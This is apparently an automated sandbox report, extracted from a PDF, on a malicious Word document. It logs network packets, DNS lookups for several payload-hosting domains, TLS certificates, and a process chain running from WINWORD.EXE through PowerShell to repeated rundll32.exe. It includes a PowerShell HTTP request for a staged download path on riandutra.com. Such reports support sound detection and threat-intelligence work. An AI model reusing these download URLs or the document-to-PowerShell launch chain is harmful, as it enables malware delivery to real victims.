Feb 11, 2021 10:32:42.746530056 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:42.952863932 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:44.608587980 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:44.844605923 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:44.846957922 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:45.067545891 CET 49170 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.082865000 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:45.082916021 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:45.083053112 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:45.083101988 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:45.271888971 CET 443 49170 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:45.272022009 CET 49170 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.273515940 CET 49170 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.477648973 CET 443 49170 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:45.477931976 CET 443 49170 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:45.477978945 CET 443 49170 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:45.478023052 CET 443 49170 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:45.478029966 CET 49170 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.478066921 CET 49170 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.482757092 CET 49170 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.483310938 CET 49171 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.686863899 CET 443 49171 104.168.154.203 192.168.2.22

TCP Packets
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Feb 11, 2021 10:32:45.686912060 CET 443 49170 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:45.687060118 CET 49171 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:45.806761026 CET 49171 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:46.010572910 CET 443 49171 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:46.011337996 CET 443 49171 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:46.011387110 CET 443 49171 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:46.011413097 CET 443 49171 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:46.011503935 CET 49171 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:46.062047005 CET 49171 443 192.168.2.22 104.168.154.203

Feb 11, 2021 10:32:46.244350910 CET 49172 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.265675068 CET 443 49171 104.168.154.203 192.168.2.22

Feb 11, 2021 10:32:46.408684969 CET 443 49172 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:46.408832073 CET 49172 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.545527935 CET 49172 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.709803104 CET 443 49172 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:46.710107088 CET 443 49172 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:46.710197926 CET 443 49172 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:46.710542917 CET 49172 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.713505030 CET 49172 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.714006901 CET 49173 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.867851973 CET 443 49173 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:46.868021965 CET 49173 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.868396044 CET 49173 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:46.877584934 CET 443 49172 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:47.022239923 CET 443 49173 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:47.022499084 CET 443 49173 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:47.022528887 CET 443 49173 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:47.022645950 CET 49173 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:47.026027918 CET 49173 443 192.168.2.22 35.209.96.32

Feb 11, 2021 10:32:47.124773979 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:47.180026054 CET 443 49173 35.209.96.32 192.168.2.22

Feb 11, 2021 10:32:47.379100084 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:47.379256964 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:48.568178892 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:48.779088974 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.781119108 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.781141043 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.781161070 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.781174898 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.781244993 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:48.781269073 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:48.782140970 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.782161951 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:48.782222986 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:48.793319941 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:48.997495890 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.032043934 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:49.284266949 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284298897 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284318924 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284339905 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284360886 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284380913 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284395933 CET 49174 443 192.168.2.22 35.163.191.195

Feb 11, 2021 10:32:49.284400940 CET 443 49174 35.163.191.195 192.168.2.22

Feb 11, 2021 10:32:49.284416914 CET 49174 443 192.168.2.22 35.163.191.195

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Feb 11, 2021 10:32:19.080176115 CET 52197 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:19.580894947 CET 53 52197 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:20.155049086 CET 53099 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:20.497942924 CET 53 53099 8.8.8.8 192.168.2.22

UDP Packets
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Feb 11, 2021 10:32:41.541214943 CET 52838 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:42.012201071 CET 53 52838 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:43.043381929 CET 61200 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:43.218600988 CET 53 61200 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:43.222873926 CET 49548 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:43.288033009 CET 53 49548 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:43.805707932 CET 55627 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:43.854567051 CET 53 55627 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:43.860831976 CET 56009 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:43.912437916 CET 53 56009 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:44.860099077 CET 61865 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:45.066267014 CET 53 61865 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:46.079530001 CET 55171 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:46.243243933 CET 53 55171 8.8.8.8 192.168.2.22

Feb 11, 2021 10:32:47.053126097 CET 52496 53 192.168.2.22 8.8.8.8

Feb 11, 2021 10:32:47.123756886 CET 53 52496 8.8.8.8 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 11, 2021 10:32:19.080176115 CET 192.168.2.22 8.8.8.8 0x1168 Standard query 
(0)

riandutra.com A (IP address) IN (0x0001)

Feb 11, 2021 10:32:20.155049086 CET 192.168.2.22 8.8.8.8 0xc896 Standard query 
(0)

calledtoch
ange.org

A (IP address) IN (0x0001)

Feb 11, 2021 10:32:41.541214943 CET 192.168.2.22 8.8.8.8 0x2c09 Standard query 
(0)

mrveggy.com A (IP address) IN (0x0001)

Feb 11, 2021 10:32:44.860099077 CET 192.168.2.22 8.8.8.8 0x1b8a Standard query 
(0)

norailya.com A (IP address) IN (0x0001)

Feb 11, 2021 10:32:46.079530001 CET 192.168.2.22 8.8.8.8 0x8c19 Standard query 
(0)

hbprivileged.com A (IP address) IN (0x0001)

Feb 11, 2021 10:32:47.053126097 CET 192.168.2.22 8.8.8.8 0xdfb5 Standard query 
(0)

ummahstars.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 11, 2021 
10:32:19.580894947 
CET

8.8.8.8 192.168.2.22 0x1168 No error (0) riandutra.com 191.6.196.95 A (IP address) IN (0x0001)

Feb 11, 2021 
10:32:20.497942924 
CET

8.8.8.8 192.168.2.22 0xc896 No error (0) calledtoch
ange.org

75.103.81.81 A (IP address) IN (0x0001)

Feb 11, 2021 
10:32:42.012201071 
CET

8.8.8.8 192.168.2.22 0x2c09 No error (0) mrveggy.com 177.12.170.95 A (IP address) IN (0x0001)

Feb 11, 2021 
10:32:45.066267014 
CET

8.8.8.8 192.168.2.22 0x1b8a No error (0) norailya.com 104.168.154.203 A (IP address) IN (0x0001)

Feb 11, 2021 
10:32:46.243243933 
CET

8.8.8.8 192.168.2.22 0x8c19 No error (0) hbprivileged.com 35.209.96.32 A (IP address) IN (0x0001)

Feb 11, 2021 
10:32:47.123756886 
CET

8.8.8.8 192.168.2.22 0xdfb5 No error (0) ummahstars.com 35.163.191.195 A (IP address) IN (0x0001)

            
riandutra.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 191.6.196.95 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp
kBytes
transferred Direction Data

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Feb 11, 2021 
10:32:19.852366924 CET

0 OUT GET /email/AfhE8z0/ HTTP/1.1
Host: riandutra.com
Connection: Keep-Alive

Feb 11, 2021 
10:32:20.130131960 CET

1 IN HTTP/1.1 403 Forbidden
Date: Thu, 11 Feb 2021 09:32:19 GMT
Server: Apache
Content-Length: 404
Keep-Alive: timeout=5, max=500
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 
72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 
64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 
20 61 63 63 65 73 73 20 2f 65 6d 61 69 6c 2f 41 66 68 45 38 7a 30 2f 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 
62 72 20 2f 3e 0a 53 65 72 76 65 72 20 75 6e 61 62 6c 65 20 74 6f 20 72 65 61 64 20 68 74 61 63 63 65 73 73 20 66 69 6c 
65 2c 20 64 65 6e 79 69 6e 67 20 61 63 63 65 73 73 20 74 6f 20 62 65 20 73 61 66 65 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 
74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 
75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 
6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 
2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><
body><h1>Forbidden</h1><p>You don't have permission to access /email/AfhE8z0/on this server.<br />Server unable to 
read htaccess file, denying access to be safe</p><p>Additionally, a 403 Forbiddenerror was encountered while trying to 
use an ErrorDocument to handle the request.</p></body></html>

Timestamp
kBytes
transferred Direction Data

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL
Client
Fingerprint JA3 SSL Client Digest

Feb 11, 2021 
10:32:42.499974966 
CET

177.12.170.95 443 192.168.2.22 49167 CN=mrveggy.com CN=R3, 
O=Let's Encrypt, C=US

CN=R3, O=Let's Encrypt, 
C=US CN=DST Root CA 
X3, O=Digital Signature 
Trust Co.

Mon Jan 
11 
02:13:40 
CET 
2021 
Wed Oct 
07 
21:21:40 
CEST 
2020

Sun Apr 
11 
03:13:40 
CEST 
2021 
Wed 
Sep 29 
21:21:40 
CEST 
2021

769,49172-
49171-57-51-
53-47-49162-
49161-56-50-
10-19-5-4,0-
10-11-23-
65281,23-24,0

05af1f5ca1b87cc9cc9b25
185115607d

CN=R3, O=Let's Encrypt, 
C=US

CN=DST Root CA X3, 
O=Digital Signature Trust 
Co.

Wed Oct 
07 
21:21:40 
CEST 
2020

Wed 
Sep 29 
21:21:40 
CEST 
2021

Feb 11, 2021 
10:32:48.782140970 
CET

35.163.191.195 443 192.168.2.22 49174 CN=www.ummahstars.com, 
OU=Domain Control 
Validated CN=Go Daddy 
Secure Certificate Authority 
- G2, 
OU=http://certs.godaddy.co
m/repository/, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, ST=Arizona, 
C=US CN=Go Daddy Root 
Certificate Authority - G2, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, ST=Arizona, 
C=US OU=Go Daddy Class 
2 Certification Authority, 
O="The Go Daddy Group, 
Inc.", C=US

CN=Go Daddy Secure 
Certificate Authority - G2, 
OU=http://certs.godaddy.c
om/repository/, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, 
ST=Arizona, C=US 
CN=Go Daddy Root 
Certificate Authority - G2, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, 
ST=Arizona, C=US 
OU=Go Daddy Class 2 
Certification Authority, 
O="The Go Daddy Group, 
Inc.", C=US OU=Go 
Daddy Class 2 
Certification Authority, 
O="The Go Daddy Group, 
Inc.", C=US

Fri Mar 
20 
12:52:22 
CET 
2020 
Tue May 
03 
09:00:00 
CEST 
2011 
Wed 
Jan 01 
08:00:00 
CET 
2014 
Tue Jun 
29 
19:06:20 
CEST 
2004

Thu May 
19 
22:40:05 
CEST 
2022 
Sat May 
03 
09:00:00 
CEST 
2031 Fri 
May 30 
09:00:00 
CEST 
2031 
Thu Jun 
29 
19:06:20 
CEST 
2034

769,49172-
49171-57-51-
53-47-49162-
49161-56-50-
10-19-5-4,0-
10-11-23-
65281,23-24,0

05af1f5ca1b87cc9cc9b25
185115607d

CN=Go Daddy Secure 
Certificate Authority - G2, 
OU=http://certs.godaddy.co
m/repository/, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, ST=Arizona, 
C=US

CN=Go Daddy Root 
Certificate Authority - G2, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, 
ST=Arizona, C=US

Tue May 
03 
09:00:00 
CEST 
2011

Sat May 
03 
09:00:00 
CEST 
2031

CN=Go Daddy Root 
Certificate Authority - G2, 
O="GoDaddy.com, Inc.", 
L=Scottsdale, ST=Arizona, 
C=US

OU=Go Daddy Class 2 
Certification Authority, 
O="The Go Daddy Group, 
Inc.", C=US

Wed 
Jan 01 
08:00:00 
CET 
2014

Fri May 
30 
09:00:00 
CEST 
2031

HTTPS Packets
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Code Manipulations

Statistics

Behavior

• WINWORD.EXE

• cmd.exe

• msg.exe

• powershell.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

Click to jump to process

System Behavior

OU=Go Daddy Class 2 
Certification Authority, 
O="The Go Daddy Group, 
Inc.", C=US

OU=Go Daddy Class 2 
Certification Authority, 
O="The Go Daddy Group, 
Inc.", C=US

Tue Jun 
29 
19:06:20 
CEST 
2004

Thu Jun 
29 
19:06:20 
CEST 
2034

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL
Client
Fingerprint JA3 SSL Client Digest

File ActivitiesFile Activities

Start time: 10:31:36

Start date: 11/02/2021

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding

Imagebase: 0x13fac0000

File size: 1424032 bytes

MD5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: WINWORD.EXE PID: 1664 Parent PID: 584Analysis Process: WINWORD.EXE PID: 1664 Parent PID: 584

General

File CreatedFile Created
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Registry ActivitiesRegistry Activities

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\VBE read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FEE94926B4 CreateDirectoryA

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\~DF627400AD1E51E061.TMP success or wait 1 7FEE93B9AC0 unknown

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC unknown 1 success or wait 1 7FEE911EC53 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC unknown 4096 success or wait 1 7FEE9126CAC ReadFile

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEE93CE72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEE93CE72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEE93CE72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEE93B9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEE93B9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEE93B9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F5725 success or wait 1 7FEE93B9AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Shared 
Tools\Panose

Cambria Math binary 02 04 05 03 05 04 06 03 02 04 success or wait 1 7FEE93B9AC0 unknown

HKEY_CURRENT_USER\Software\Microsoft\Shared 
Tools\Panose

Tahoma binary 02 0B 06 04 03 05 04 04 02 04 success or wait 1 7FEE93B9AC0 unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5725

F5725 binary 04 00 00 00 80 06 00 00 2A 00 00 00 
43 00 3A 00 5C 00 55 00 73 00 65 00 
72 00 73 00 5C 00 41 00 6C 00 62 00 
75 00 73 00 5C 00 41 00 70 00 70 00 
44 00 61 00 74 00 61 00 5C 00 4C 00 
6F 00 63 00 61 00 6C 00 5C 00 54 00 
65 00 6D 00 70 00 5C 00 69 00 6D 00 
67 00 73 00 2E 00 68 00 74 00 6D 00 
04 00 00 00 69 00 6D 00 67 00 73 00 
00 00 00 00 01 00 00 00 00 00 00 00 
F8 A5 2B 37 A4 00 D7 01 25 57 0F 00 
25 57 0F 00 00 00 00 00 DB 04 00 00 
02 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
FF FF FF FF 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 

success or wait 1 7FEE93B9AC0 unknown

File DeletedFile Deleted

File ReadFile Read

Key CreatedKey Created

Key Value CreatedKey Value Created
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00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 FF FF FF FF 

Key Path Name Type Data Completion Count
Source
Address Symbol
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Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

ProductFiles dword 1380646958 1380646959 success or wait 1 7FEE93B9AC0 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

ProductFiles dword 1380646959 1380646960 success or wait 1 7FEE93B9AC0 unknown

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5725

F5725 binary 04 00 00 00 80 06 00 00 2A 00 
00 00 43 00 3A 00 5C 00 55 
00 73 00 65 00 72 00 73 00 
5C 00 41 00 6C 00 62 00 75 
00 73 00 5C 00 41 00 70 00 
70 00 44 00 61 00 74 00 61 00 
5C 00 4C 00 6F 00 63 00 61 
00 6C 00 5C 00 54 00 65 00 
6D 00 70 00 5C 00 69 00 6D 
00 67 00 73 00 2E 00 68 00 74 
00 6D 00 04 00 00 00 69 00 
6D 00 67 00 73 00 00 00 00 
00 01 00 00 00 00 00 00 00 F8 
A5 2B 37 A4 00 D7 01 25 57 
0F 00 25 57 0F 00 00 00 00 
00 DB 04 00 00 02 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
FF FF FF FF 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
